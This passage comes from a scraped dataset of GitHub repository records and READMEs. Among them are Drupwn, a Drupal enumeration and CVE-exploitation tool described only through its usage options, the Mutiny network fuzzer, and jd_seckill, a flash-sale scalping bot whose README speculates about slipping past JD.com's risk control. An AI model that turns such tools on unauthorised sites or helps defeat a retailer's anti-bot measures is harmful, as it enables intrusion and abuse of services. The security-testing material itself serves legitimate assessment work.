paper, the official one was used.\n  - **gen_anchor_mask.py**: Computes the frequency of each anchor in a dataset to be used in the anchor filtering step\n  - **gen_video.py:** Generates a video from a model's predictions\n  - **llamas_metric.py**: Official implementation of the LLAMAS metric\n  - **llamas_utils.py**: Utilities functions for the LLAMAS dataset\n  - **speed.py:** Measure efficiency-related metrics of a model\n  - **tusimple_metric.py**: Official implementation of the TuSimple metric\n  - **viz_dataset.py**: Show images sampled from a dataset (post-augmentation)\n- **main.py:** Runs the training or testing phase of an experiment\n\n### 6. Citation\nIf you use this code in your research, please cite:\n\n```bibtex\n@InProceedings{tabelini2021cvpr,\n  author    = {Lucas Tabelini\n               and Rodrigo Berriel\n               and Thiago M. Paix\\~ao\n               and Claudine Badue\n               and Alberto Ferreira De Souza\n               and Thiago Oliveira-Santos},\n  title     = {{Keep your Eyes on the Lane: Real-time Attention-guided Lane Detection}},\n  booktitle = {Conference on Computer Vision and Pattern Recognition (CVPR)},\n  year      = {2021}\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "immunIT/drupwn", "link": "https://github.com/immunIT/drupwn", "tags": [], "stars": 514, "description": "Drupal enumeration & exploitation tool", "lang": "Python", "repo_lang": "", "readme": "# Drupwn [v1.0.4]\n\n## Description\n\nDrupwn claims to provide an efficient way to gather drupal information.\n\nEnumeration\n[![asciicast](https://asciinema.org/a/5InNWAotigwM4bRscUi7yKAtt.svg)](https://asciinema.org/a/5InNWAotigwM4bRscUi7yKAtt)\n\nExploitation\n[![asciicast](https://asciinema.org/a/bZmopDt4lyix1D9sgxwQMCRfn.svg)](https://asciinema.org/a/bZmopDt4lyix1D9sgxwQMCRfn)\n\nFurther explaination on our [blog post article](https://www.immunit.ch/en/blog/2018/04/10/yet-another-drupal-scanner-drupwn-2/)\n\n## Supported tested version\n\n* Drupal 7\n* Drupal 8\n\n## Execution mode\n\nDrupwn can be run, using two seperate modes which are **enum** and **exploit**.\nThe enum mode allows performing enumerations whereas the exploit mode allows checking and exploiting CVEs.\n\n## Functionalities\n\n### Enum mode\n\n* User enumeration\n* Node enumeration\n* Default files enumeration\n* Module enumeration\n* Theme enumeration\n* Cookies support\n* User-Agent support\n* Basic authentication support\n* Request delay\n* Enumeration range\n* Logging\n* Socks and HTTP proxy support\n\n### Exploit mode\n\n* Vulnerability checker\n* CVE exploiter\n\n## Installation\n\n```bash\npip3 install -r requirements.txt\npython3 drupwn --help\n```\n\nor\n\n```bash\npython3 setup.py install\ndrupwn --help\n```\n\n## Usage\n\n```\n$ drupwn -h\n\n        ____\n       / __ \\_______  ______ _      ______\n      / / / / ___/ / / / __ \\ | /| / / __ \\\n     / /_/ / /  / /_/ / /_/ / |/ |/ / / / /\n    /_____/_/   \\__,_/ .___/|__/|__/_/ /_/\n                     /_/\n\nusage: drupwn [-h] [--mode MODE] [--target TARGET] [--users] [--nodes] [--modules] [--dfiles] [--themes]\n              [--version VERSION] [--cookies COOKIES] [--thread THREAD]\n              [--range RANGE] [--ua UA] [--bauth BAUTH]\n              [--delay DELAY] [--log] [--update] \n              [--proxy PROXY | --proxies PROXIES]\n\nDrupwn aims to automate drupal information gathering.\n\noptional arguments:\n  -h, --help         show this help message and exit\n  --mode MODE        enum|exploit\n  --target TARGET    hostname to scan\n  --users            user enumaration\n  --nodes            node enumeration\n  --modules          module enumeration\n  --dfiles           default files enumeration\n  --themes           theme enumeration\n  --version VERSION  Drupal version\n  --cookies COOKIES  cookies\n  --thread THREAD    threads number\n  --range RANGE      enumeration range\n  --ua UA            User Agent\n  --bauth BAUTH      Basic authentication\n  --delay DELAY      request delay\n  --log              file logging\n  --update           update plugins and themes\n  --proxy PROXY      [http|https|socks]://host:port\n  --proxies PROXIES  Proxies file\n```\n\n## Docker alternative\n\n### Official image\n\nYou can pull the official Drupwn image from the dockerhub registry using the following command:\n\n```\ndocker pull immunit/drupwn\n```\n\n### Build\n\nTo build the container, just use this command:\n\n```bash\ndocker build -t drupwn .\n```\n\nDocker will download the Alpine image and then execute the installation steps.\n\n> Be patient, the process can be quite long the first time.\n\n### Run\n\nOnce the build process is over, get and enjoy your new Drupal scanner\n\n```bash\ndocker run --rm -it drupwn --help\n```\n\n## Logging\n\nThe output generated is stored in the **/tmp/** folder.\nWhen using docker, run your container using the following option\n\n```bash\n-v YOUR_PATH_FOLDER:/tmp/\n```\n\n## Enhancement\n\nTo add a new module, follow the template used in the *User.py* file.\nThen, add a reference in the Parser as well as in the Dispatcher in order to ensure its support by the reflective factory.\n\n## Disclaimer of Warranty\n\nDrupwn is provided under this License on an \"as is\" basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the Drupwn is free of defects, merchantable, fit for a particular purpose or non-infringing.\n\n## Disclaimer\n\nRunning Drupwn against websites without prior mutual consent may be illegal in your country. The ImmunIT Team accept no liability and are not responsible for any misuse or damage caused by Drupwn.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "13812851221/-rxrw-daily_morning", "link": "https://github.com/13812851221/-rxrw-daily_morning", "tags": [], "stars": 514, "description": null, "lang": "Python", "repo_lang": "", "readme": "# Daily good morning push to other people's girlfriends\n\nIt was first published in Xiaohongshu, but some people said that they could not read clearly, so here is an instruction manual.\n\n> I was stunned and heard in the new group of Xiaohongshu that some netizens were helping me promote this project on Douyin..\n>\n> Thanks a lot for this as I'm too lazy to do a video. . It was also a whim at the time, so I only published Xiaohongshu. .\n>\n> I am really grateful that everyone likes my project, but some friends say that I cannot be found. I am still very interested in gaining fans. .\n\n*My Little Red Book nickname==Douyin nickname==Weibo account==all social platforms==\"Tangled in Power\"*\n\nAnd they are all Conan's avatars\n\n![WechatIMG1](https://user-images.githubusercontent.com/9566402/185802023-1f28c90a-40e7-446e-8dad-420c83f83e38.jpeg)\n![WechatIMG2](https://user-images.githubusercontent.com/9566402/185802026-ef7c1b99-66a8-4535-a6a4-804677657667.jpeg)\n\n---------------------- The following is the text ----------------------\n\nWhen I was just trying to conceive this tutorial how to get friends who don't know programming to get started quickly, I considered: avoid server construction, avoid scheduled tasks, and avoid touching code. After going through all kinds of thinking, I feel that Github Actions can be used for free prostitution. .\n\nThe effect is as shown in the figure. Of course, the text can be modified.\n![5e72e89fd7ff692a0bfa62010517c0c](https://user-images.githubusercontent.com/9566402/183242263-c93517a2-5377-435d-8386-8d47252c9e07.jpg)\n\nFirst of all, search by picture, test number, and scan the QR code on WeChat to log in!\n![cf7dbd4502df44765ed3506f55caea5](https://user-images.githubusercontent.com/9566402/183242272-134e37e7-718d-42dd-9ed7-fca2810e94e6.png)\n\nClick Use this template according to the picture to create it under your own warehouse!\n![e6581c43572b00b12c1a82ca8d7178b](https://user-images.githubusercontent.com/9566402/183242340-2ef26c63-1ca1-420e-abd4-8672c25d61c9.png)\n\nAs shown in the figure below, create a template, set variables, and create various strings on the WeChat public platform into GitHub -> Settings -> Secrets -> Actions according to the instructions.\n![71bf9d11a876d23ef0f0728645a8ba0](https://user-images.githubusercontent.com/9566402/183242301-fd6ab30e-bfe5-4245-b2a9-f690184db307.png)\n![381e8ee4a7c5ec6b8c09719f2c7e486](https://user-images.githubusercontent.com/9566402/183242295-4dcf06bb-2083-4883-8745-0af753ca805c.png)\n![48c60750cec7adc546e0ad99e3082b3](https://user-images.githubusercontent.com/9566402/183242320-18500adc-14e5-4522-a3ad-ae19cc4479bf.png)\n\nEnable the Action under your own project!\n![30a5b1b2b06ba4a40a3d8ef01652409](https://user-images.githubusercontent.com/9566402/183242334-9943c538-ba3d-4d01-8377-d040143b7560.png)\n\nIf there is an error in the operation, you can see the error according to the following methods. You can also ask questions here or in the Xiaohongshu group\n![6b0da6f44e18c2bfd94910c377d13e6](https://user-images.githubusercontent.com/9566402/183242349-1aa5ada6-2ee7-4cf9-a542-4b2dad88b8fe.png)\n\nAfter enabling it, you can run it directly to see if your girlfriend's mobile phone has received the push!\nThis timed task is pushed at 8:00 every morning. Students who can program can customize some things by themselves~\n\nThe operations in the figure, except for the different English strings and the Chinese in the template message, should be the same, otherwise the programThe sequence doesn't work~\n\nIn the upper right corner of Github, you can click star to give me some encouragement, dear\n\nFollow and like on Xiaohongshu, if you have any interesting things, you can at me, and I will teach you how to do it\n\nps. There are some notes to add here\n\n1. The app secret given by the test account of the WeChat public platform for the first time is wrong, just refresh the page\n2. The date format for birthdays is `05-20`, and the format for anniversaries is `2022-08-09`, please pay attention to the distinction. For cities, please write prefecture-level cities, such as: `Beijing`, `Guangzhou`, `Chengde`\n3. The various English strings pasted in the variable should not have spaces or newlines, except for templates.\n4. The scheduled task of Github Actions is defined in the workflow as `0 0 * * *`, which is zero o'clock in UTC time and eight o'clock in Beijing time. But because Github has too many tasks at the same time, there will be a delay\n5. I will occasionally optimize the code, emm, but now I am working on a complete platform project, and I want to make it easier for everyone to get started\n\nBut that platform isn't quite there yet, and I'm going to curb my desire to make money (it's not). .", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Cisco-Talos/mutiny-fuzzer", "link": "https://github.com/Cisco-Talos/mutiny-fuzzer", "tags": [], "stars": 514, "description": null, "lang": "Python", "repo_lang": "", "readme": "# Quickstart: Mutiny tutorial\n\nBlog post here:\n* http://blog.talosintelligence.com/2018/01/tutorial-mutiny-fuzzing-framework-and.html\n\nLinks to this YouTube video demo:\n* https://www.youtube.com/watch?v=FZyR6MgJCUs\n\nFor more features geared towards fuzzing campaigns/feedback/harnesses:\n* https://github.com/Cisco-Talos/mutiny-fuzzer/tree/experiment\n\n# Mutiny Fuzzing Framework\n\nThe Mutiny Fuzzing Framework is a network fuzzer that operates by replaying\nPCAPs through a mutational fuzzer.  The goal is to begin network fuzzing as\nquickly as possible, at the expense of being thorough.\n\nThe general workflow for Mutiny is to take a sample of legitimate traffic, such\nas a browser request, and feed it into a prep script to generate a .fuzzer file.\nThen, Mutiny can be run with this .fuzzer file to generate traffic against a\ntarget host, mutating whichever packets the user would like.\n\nThere are extensions that allow changing how Mutiny behaves, including changing\nmessages based on input/output, changing how Mutiny responds to network errors,\nand monitoring the target in a separate thread.\n\nMutiny uses [Radamsa](https://github.com/aoh/radamsa) to perform mutations.\n\nThe [Decept Proxy](https://github.com/Cisco-Talos/Decept) is a multi-purpose\nnetwork proxy that can forward traffic from a plaintext or TLS TCP/UDP/domain\nsocket connection to a plaintext or TLS TCP/UDP/domain socket connection, among\nother features.  It makes a good companion for Mutiny, as it can both generate\n.fuzzer files directly, particularly helpful when fuzzing TLS connections, and\nallow Mutiny to communicate with TLS hosts.\n\nsample_apps give a basic idea of some things that can be done with the fuzzer,\nwith a few different applications/clients to test with.\n\nWritten by James Spadaro (jaspadar@cisco.com) and Lilith Wyatt\n(liwyatt@cisco.com)\n\n## Setup\n\nEnsure python and scapy are installed.\n\nUntar Radamsa and `make`  (You do not have to make install, unless you want it\nin /usr/bin - it will use the local Radamsa) Update `mutiny.py` with path to\nRadamsa if you changed it.\n\n## Basic Usage\n\nSave pcap into a folder.  Run `mutiny_prep.py` on `<XYZ>.pcap` (also optionally\npass the directory of a custom processor if any, more below).  Answer the\nquestions, end up with a `<XYZ>.fuzzer` file in same folder as pcap.\n\nRun `mutiny.py <XYZ>.fuzzer <targetIP>` This will start fuzzing. Logs will be\nsaved in same folder, under directory\n`<XYZ>_logs/<time_of_session>/<seed_number>`\n\n## More Detailed Usage\n\n### .fuzzer Files\n\nThe .fuzzer files are human-readable and commented.  They allow changing various\noptions on a per-fuzzer-file basis, including which message or message parts are\nfuzzed.\n\n### Message Formatting\n\nWithin a .fuzzer file is the message contents.  These are simply lines that\nbegin with either 'inbound' or 'outbound', signifying which direction the\nmessage goes.  They are in Python string format, with '\\xYY' being used for\nnon-printable characters.  These are autogenerated by 'mutiny_prep.py' and\nDecept, but sometimes need to be manually modified.\n\n### Message Formatting - Manual Editing\n\nIf a message has the 'fuzz' keyword after 'outbound', this indicates it is to be\nfuzzed through Radamsa.  A given message can have line continuations, by simply\nputting more message data in quotes on a new line.  In this case, this second\nline will be merged with the first.\n\nAlternatively, the 'sub' keyword can be used to indicate a subcomponent.  This\nallows specifying a separate component of the message, in order to fuzz only\ncertain parts and for convenience within a Message Processor.\n\nHere is an example arbitrary set of message data:\n```\noutbound 'say'\n    ' hi'\nsub fuzz ' and fuzz'\n    ' this'\nsub ' but not this\\xde\\xad\\xbe\\xef'\ninbound 'this is the server's'\n    ' expected response'\n```\n\nThis will cause Mutiny to transmit `say hi and fuzz this but not\nthis(0xdeadbeef)`.  `0xdeadbeef` will be transmitted as 4 hex bytes.  `and fuzz\nthis` will be passed through Radamsa for fuzzing, but `say hi` and ` but not\nthis(0xdeadbeef)` will be left alone.\n\nMutiny will wait for a response from the server after transmitting the single\nabove message, due to the 'inbound' line.  The server's expected response is\n`this is the server's expected response`.  Mutiny won't do a whole lot with this\ndata, aside from seeing if what the server actually sent matches this string.\nIf a crash occurs, Mutiny will log both the expected output from the server and\nwhat the server actually replied with.\n\n### Customization\n\nmutiny_classes/ contains base classes for the Message Processor, Monitor, and\nException Processor.  Any of these files can be copied into the same folder as\nthe .fuzzer (by default) or into a separate subfolder specified as the\n'processor_dir' within the .fuzzer file.\n\nThese three classes allow for storing server responses and changing outgoing\nmessages, monitoring the target on a separate thread, and changing how Mutiny\nhandles exceptions.\n\n### Customization - Message Processor\n\nThe Message Processor defines various callbacks that are called during a fuzzing\nrun.  Within these callbacks, any Python code can be run.  Anecdotally, these\nare primarily used in three ways.  \n\nThe most common is when the server sends tokens that need to be added to future\noutbound messages.  For example, if Mutiny's first message logs in, and the\nserver responds with a session ID, the `postReceiveProcess()` callback can be used\nto store that session ID.  Then, in `preSendProcess()`, the outgoing data can be\nfixed up with that session ID.  An example of this is in\n`sample_apps/session_server`.\n\nAnother common use of a Message Processor is to limit or change a fuzzed\nmessage.  For example, if the server always drops messages greater than 1000\nbytes, it may not be worth sending any large messages.  preSendProcess() can be\nused to shorten messages after fuzzing but before they are sent or to raise an\nexception.\n\nRaising an exception brings up the final way Message Processors are commonly\nused.  Within a callback, any custom exceptions defined in\n`mutiny_classes/mutiny_exceptions.py` can be raised.  There are several\nexceptions, all commented, that will cause various behaviors from Mutiny.  These\ngenerally involve either logging, retrying, or aborting the current run.\n\n### Customization - Monitor\n\nThe Monitor has a `monitorTarget()` function that is run on a separate thread from\nthe main Mutiny fuzzer.  The purpose is to allow implementing a long-running\nprocess that can monitor a host in some fashion.  This can be anything that can\nbe done in Python, such as communicating with a monitor daemon running on the\ntarget, reading a long file, or even just pinging the host repeatedly, depending\non the requirements of the fuzzing session.\n\nIf the Monitor detects a crash, it can call `signalMain()` at any time.  This will\nsignal the main Mutiny thread that a crash has occurred, and it will log the\ncrash.  This function should generally operate in an infinite loop, as returning\nwill cause the thread to terminate, and it will not be restarted.\n\n### Customization - Exception Processor\n\nThe Exception Processor determines what Mutiny should do with a given exception\nduring a fuzz session.  In the most general sense, the `processException()`\nfunction will translate Python and OS-level exceptions into Mutiny error\nhandling actions as best as it can.\n\nFor example, if Mutiny gets 'Connection Refused', the default response is to\nassume that the target server has died unrecoverably, so Mutiny will log the\nprevious run and halt.  This is true in most cases, but this behavior can be\nchanged to that of any of the exceptions in\n`mutiny_classes/mutiny_exceptions.py` as needed, allowing tailoring of crash\ndetection and error correction.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "adamchainz/django-mysql", "link": "https://github.com/adamchainz/django-mysql", "tags": ["django", "mysql", "mariadb", "python"], "stars": 514, "description": ":dolphin: :horse: Extensions to Django for use with MySQL/MariaDB", "lang": "Python", "repo_lang": "", "readme": "============\nDjango-MySQL\n============\n\n.. image:: https://img.shields.io/readthedocs/django-mysql?style=for-the-badge\n   :target: https://django-mysql.readthedocs.io/en/latest/\n\n.. image:: https://img.shields.io/github/actions/workflow/status/adamchainz/django-mysql/main.yml?branch=main&style=for-the-badge\n   :target: https://github.com/adamchainz/django-mysql/actions?workflow=CI\n\n.. image:: https://img.shields.io/badge/Coverage-100%25-success?style=for-the-badge\n   :target: https://github.com/adamchainz/django-mysql/actions?workflow=CI\n\n.. image:: https://img.shields.io/pypi/v/django-mysql.svg?style=for-the-badge\n   :target: https://pypi.org/project/django-mysql/\n\n.. image:: https://img.shields.io/badge/code%20style-black-000000.svg?style=for-the-badge\n   :target: https://github.com/psf/black\n\n.. image:: https://img.shields.io/badge/pre--commit-enabled-brightgreen?logo=pre-commit&logoColor=white&style=for-the-badge\n   :target: https://github.com/pre-commit/pre-commit\n   :alt: pre-commit\n\n.. figure:: https://raw.github.com/adamchainz/django-mysql/main/docs/images/dolphin-pony.png\n   :alt: The dolphin-pony - proof that cute + cute = double cute.\n\n..\n\n    | The dolphin-pony - proof that cute + cute = double cute.\n\n\nDjango-MySQL extends Django's built-in MySQL and MariaDB support their specific\nfeatures not available on other databases.\n\n\nWhat kind of features?\n----------------------\n\nIncludes:\n\n* ``QuerySet`` extensions:\n\n  * 'Smart' iteration - chunked pagination across a large queryset\n  * ``approx_count`` for quick estimates of ``count()``\n  * Query hints\n  * Quick ``pt-visual-explain`` of the underlying query\n\n* Model fields:\n\n  * MariaDB Dynamic Columns for storing dictionaries\n  * Comma-separated fields for storing lists and sets\n  * 'Missing' fields: differently sized ``BinaryField``/``TextField`` classes,\n    ``BooleanField``\\s represented by BIT(1)\n\n* ORM expressions for over 20 MySQL-specific functions\n* A new cache backend that makes use of MySQL's upsert statement and does\n  compression\n* Status variable inspection and utility methods\n* Named locks for easy locking of e.g. external resources\n* Table lock manager for hard to pull off data migrations\n\nTo see them all, check out the exposition at\nhttps://django-mysql.readthedocs.io/en/latest/exposition.html .\n\nRequirements and Installation\n-----------------------------\n\nPlease see\nhttps://django-mysql.readthedocs.io/en/latest/installation.html .\n\nDocumentation\n-------------\n\nEvery detail documented on\n`Read The Docs <https://django-mysql.readthedocs.io/en/latest/>`_.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "eladhoffer/seq2seq.pytorch", "link": "https://github.com/eladhoffer/seq2seq.pytorch", "tags": ["deep-learning", "neural-machine-translation", "seq2seq"], "stars": 514, "description": "Sequence-to-Sequence learning using PyTorch", "lang": "Python", "repo_lang": "", "readme": "# Seq2Seq in PyTorch\nThis is a complete suite for training sequence-to-sequence models in [PyTorch](www.pytorch.org). It consists of several models and code to both train and infer using them.\n\nUsing this code you can train:\n* Neural-machine-translation (NMT) models\n* Language models\n* Image to caption generation\n* Skip-thought sentence representations\n* And more...\n \n ## Installation\n ```\n git clone --recursive https://github.com/eladhoffer/seq2seq.pytorch\n cd seq2seq.pytorch; python setup.py develop\n ```\n \n## Models\nModels currently available:\n* Simple Seq2Seq recurrent model\n* Recurrent Seq2Seq with attentional decoder\n* [Google neural machine translation](https://arxiv.org/abs/1609.08144) (GNMT) recurrent model\n* Transformer - attention-only model from [\"Attention Is All You Need\"](https://arxiv.org/abs/1706.03762)\n\n## Datasets\nDatasets currently available:\n\n* WMT16\n* WMT17\n* OpenSubtitles 2016\n* COCO image captions\n* [Conceptual captions](https://ai.googleblog.com/2018/09/conceptual-captions-new-dataset-and.html)\n\nAll datasets can be tokenized using 3 available segmentation methods:\n\n* Character based segmentation\n* Word based segmentation\n* Byte-pair-encoding (BPE) as suggested by [bpe](https://arxiv.org/abs/1508.07909) with selectable number of tokens.  \n\nAfter choosing a tokenization method, a vocabulary will be generated and saved for future inference.\n\n\n## Training methods\nThe models can be trained using several methods:\n\n* Basic Seq2Seq - given encoded sequence, generate (decode) output sequence. Training is done with teacher-forcing.\n* Multi Seq2Seq - where several tasks (such as multiple languages) are trained simultaneously by using the data sequences as both input to the encoder and output for decoder.\n* Image2Seq - used to train image to caption generators.\n\n## Usage\nExample training scripts are available in ``scripts`` folder. Inference examples are available in ``examples`` folder.\n\n* example for training a [transformer](https://arxiv.org/abs/1706.03762)\n on WMT16 according to original paper regime:\n```\nDATASET=${1:-\"WMT16_de_en\"}\nDATASET_DIR=${2:-\"./data/wmt16_de_en\"}\nOUTPUT_DIR=${3:-\"./results\"}\n\nWARMUP=\"4000\"\nLR0=\"512**(-0.5)\"\n\npython main.py \\\n  --save transformer \\\n  --dataset ${DATASET} \\\n  --dataset-dir ${DATASET_DIR} \\\n  --results-dir ${OUTPUT_DIR} \\\n  --model Transformer \\\n  --model-config \"{'num_layers': 6, 'hidden_size': 512, 'num_heads': 8, 'inner_linear': 2048}\" \\\n  --data-config \"{'moses_pretok': True, 'tokenization':'bpe', 'num_symbols':32000, 'shared_vocab':True}\" \\\n  --b 128 \\\n  --max-length 100 \\\n  --device-ids 0 \\\n  --label-smoothing 0.1 \\\n  --trainer Seq2SeqTrainer \\\n  --optimization-config \"[{'step_lambda':\n                          \\\"lambda t: { \\\n                              'optimizer': 'Adam', \\\n                              'lr': ${LR0} * min(t ** -0.5, t * ${WARMUP} ** -1.5), \\\n                              'betas': (0.9, 0.98), 'eps':1e-9}\\\"\n                          }]\"\n```\n\n* example for training attentional LSTM based model with 3 layers in both encoder and decoder:\n```\npython main.py \\\n  --save de_en_wmt17 \\\n  --dataset ${DATASET} \\\n  --dataset-dir ${DATASET_DIR} \\\n  --results-dir ${OUTPUT_DIR} \\\n  --model RecurrentAttentionSeq2Seq \\\n  --model-config \"{'hidden_size': 512, 'dropout': 0.2, \\\n                   'tie_embedding': True, 'transfer_hidden': False, \\\n                   'encoder': {'num_layers': 3, 'bidirectional': True, 'num_bidirectional': 1, 'context_transform': 512}, \\\n                   'decoder': {'num_layers': 3, 'concat_attention': True,\\\n                               'attention': {'mode': 'dot_prod', 'dropout': 0, 'output_transform': True, 'output_nonlinearity': 'relu'}}}\" \\\n  --data-config \"{'moses_pretok': True, 'tokenization':'bpe', 'num_symbols':32000, 'shared_vocab':True}\" \\\n  --b 128 \\\n  --max-length 80 \\\n  --device-ids 0 \\\n  --trainer Seq2SeqTrainer \\\n  --optimization-config \"[{'epoch': 0, 'optimizer': 'Adam', 'lr': 1e-3},\n                          {'epoch': 6, 'lr': 5e-4},\n                          {'epoch': 8, 'lr':1e-4},\n                          {'epoch': 10, 'lr': 5e-5},\n                          {'epoch': 12, 'lr': 1e-5}]\" \\\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "hu619340515/jd_seckill-1", "link": "https://github.com/hu619340515/jd_seckill-1", "tags": [], "stars": 514, "description": "fork huanghyw/jd_seckill", "lang": "Python", "repo_lang": "", "readme": "#Jd_Seckill\n\n## Special statement:\n\n* Any scripts involved in the `jd_seckill` project released in this warehouse are only for testing and learning research, and commercial use is prohibited, and its legality, accuracy, completeness and validity cannot be guaranteed, please judge by yourself according to the situation.\n\n* All resource files in this project are prohibited from being reproduced or published in any form by any official account or self-media.\n\n* `huanghyw` is not responsible for any script issues, including but not limited to any loss or damage caused by any script errors.\n\n* For any user who indirectly uses the script, including but not limited to establishing a VPS or disseminating it in violation of national laws or relevant regulations, `huanghyw` is not responsible for any privacy leaks or other consequences arising therefrom .\n\n* Do not use any content of the `jd_seckill` project for commercial or illegal purposes, or do so at your own risk.\n\n* If any unit or individual thinks that the script of the project may be suspected of infringing its rights, it should notify in time and provide identification and proof of ownership. We will delete the relevant script after receiving the certification document.\n\n* Anyone who views this project in any way or uses any scripts that directly or indirectly use the `jd_seckill` project should read this statement carefully. `huanghyw` reserves the right to change or supplement this disclaimer at any time. By using and copying any related script or `jd_seckill` project, you are deemed to have accepted this disclaimer.\n  \n* You must completely delete the above content from your computer or phone within 24 hours of downloading.\n  \n* This project follows the `GPL-3.0 License` agreement. If there is any conflict between this special statement and the `GPL-3.0 License` agreement, this special statement shall prevail.\n\n> ***If you use or copy any code or project made by yourself in this warehouse, you are deemed to have accepted this statement, please read it carefully***\n> ***If you used or copied any code or project made by yourself in this warehouse before this statement was issued, and you are still using it at this time, you are deemed to have accepted this statement, please read it carefully***\n\n## Introduction\nThrough my use during this period (2020-12-12 to 2020-12-17), it is confirmed that this script can indeed grab Moutai. I robbed 4 bottles on my own three accounts, and robbed 4 bottles for two friends.\nAs long as you confirm that there is no problem with your configuration file and the cookie is not invalid, you can always succeed if you stick to it.\n\nAccording to everyone's feedback during this period, except for Moutai, other products that do not need to be added to the shopping cart cannot be grabbed. The specific reason has not been investigated yet, and it should be that the rush-purchase process of Jingdong Africa Moutai products has changed.\nIn order to avoid wasting everyone's time, don't rush to buy non-Moutai products.\nWhen this problem is solved, a new version will be launched.\n\n\n## Observation in the dark\n\nAccording to the log analysis of grabbing Moutai since December 14, boldly infer the relationship between `resultCode` and Xiaobai Credit in the Json message returned.\nHere we mainly analyze `90016` and `90008` with the highest frequency.\n\n### Sample JSON\n```json\n{'errorMessage': 'It's a pity that I didn't get it, let's make persistent efforts. ', 'orderId': 0, 'resultCode': 90016, 'skuId': 0, 'success': False}\n{'errorMessage': 'It's a pity that I didn't get it, let's make persistent efforts. ', 'orderId': 0, 'resultCode': 90008, 'skuId': 0, 'success': False}\n```\n\n### Statistics\n\n| Case | Xiaobai Credit | 90016 | 90008 |\n| ---- | -------- | ------ | ------ | -------- |\n| Zhang San | 63.8 | 59.63% | 40.37% | Not yet available |\n| Li Si | 92.9 | 72.05% | 27.94% | 4 days |\n| Wang Wu | 99.6 | 75.70% | 24.29% | Not yet available |\n| Zhao Liu | 103.4 | 91.02% | 8.9% | 2 days |\n\n### Guess\nIt is speculated that the return of 90008 is JD.com\u2019s risk control mechanism, which means that this request directly failed and did not participate in the panic buying.\nThe lower Xiaobai's credit is, the easier it is to trigger JD's risk control.\n\nJudging from the data, the relationship between Xiaobai's credit and risk control is about one level every tenth, so Zhao Liu is basically not intercepted, Li Si and Wang Wu have similar interception chances, and Zhang San has the highest interception probability.\n\nThe panic buying will only be carried out after the risk control is released. At this time, the reservoir counting model should be used. Assuming that all the data cannot be obtained at one time, try to achieve an even distribution of successful snapping users, which is related to probability.\n\n> To sum up, it is a bit difficult for Zhang San to succeed, and Xiaobai users with 100+ credits have the highest chance of success.\n\n## The main function\n\n- Log in to Jingdong Mall ([www.jd.com](http://www.jd.com/))\n  - Scan the QR code given by Jingdong APP\n- Reservation Moutai\n  - Timed automatic appointment\n- Waiting for snap-up after making an appointment in seconds\n  - Start automatic buying at regular intervals\n\n## Operating environment\n\n- [Python 3](https://www.python.org/)\n\n## Third-party library\n\n- The library that needs to be used has been placed in requirements.txt, use pip installed can use the command\n`pip install -r requirements.txt`\n- If the domestic installation of third-party libraries is slow, you can use the following commands to accelerate Tsinghua source\n`pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/`\n\n## Tutorial\n#### 1. Recommended Chrome browser\n#### 2. Web page scanning code login, or account password login\n#### 3. Fill in config.ini configuration information\n(1) `eid` and `fp` find a common commodity and place an order, and then you can see it by grabbing the package. These two values \u200b\u200b\u200b\u200bcan be filled in fixed\n> Just find a product to place an order, then enter the settlement page, open the debug window of the browser, switch to the console Tab page, enter the variable `_JdTdudfp` in the console, and you can get `eid` and `fp from the output Json `.\n> If not, refer to the original author\u2019s issue https://github.com/zhou-xiaojun/jd_mask/issues/22\n\n(2) `sku_id`, `DEFAULT_USER_AGENT`\n> `sku_id` has been filled in according to Maotai.\n> `cookies_string` is now unnecessary\n> `DEFAULT_USER_AGENT` can use the default one. Google Chrome can also enter about:version in the address bar of the browser to view `USER_AGENT` and replace it\n\n(3) Configure the time\n> Now it is not mandatory to synchronize the latest time, the program will automatically synchronize Jingdong time\n>> But if the computer time is slow for several hours, it's better to synchronize it\n\nAll of the above are required.\n>tips:\n> After the program starts running, it will detect the local time and JD server time, and the output difference is the local time - JD server time, that is, -50 means that the local time is 50ms slower than the JD server time.\n> The execution time of this code is based on the local computer/server time\n\n(4) Modify the number of snap-up bottles\n> The default number of snap-up bottles in the code is 2, and it cannot be modified in the configuration file\n> If you bought a bottle within a month, it is best to change the number of bottles you bought to 1\n> The specific modification is: search for `self.seckill_num = 2` in the `jd_spider_requests.py` file, and change `2` to `1`\n\n#### 4. Run main.py\nSelect the corresponding function according to the prompt. If there is a prompt to scan the code to log in, you can check whether there is a `qr_code.png` file in the project directory. If there is, open the picture and use the Jingdong mobile app to scan the code to log in.\n\n- *Display the QR code in the command line mode under Linux (take Ubuntu as an example)*\n\n```bash\n$ sudo apt-get install qrencode zbar-tools # Install QR code parsing and generation tools for reading QR codes and outputting them on the command line.\n$ zbarimg qr_code.png > qrcode.txt && qrencode -r qrcode.txt -o - -t UTF8 # Analyze the QR code and output it to the command line window.\n```\n\n#### 5. Confirmation of snapping results\nThe success of the snap-up can usually be seen within one minute of the procedure!\nSearch the log, and there is \"successful purchase, order number xxxxx\", which means that the order has been successfully purchased, and the order must be paid within half an hour! The program does not support automatic stop for the time being, manual STOP is required!\nIf you haven\u2019t snapped up the item within two minutes, you basically didn\u2019t get it! The program does not support automatic stop for the time being, manual STOP is required!\n\n## tip\nThere is no need to tip any more, those who grab Moutai, please keep this joy, and those who don\u2019t, keep on cheering :)\n\n## grateful\n##### Thank you very much for the code provided by the original author https://github.com/zhou-xiaojun/jd_mask\n##### Thanks also to https://github.com/wlwwu/jd_maotai for optimization", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "st-tech/zr-obp", "link": "https://github.com/st-tech/zr-obp", "tags": ["datasets", "off-policy-evaluation", "contextual-bandits", "multi-armed-bandits", "research"], "stars": 514, "description": "Open Bandit Pipeline: a python library for bandit algorithms and 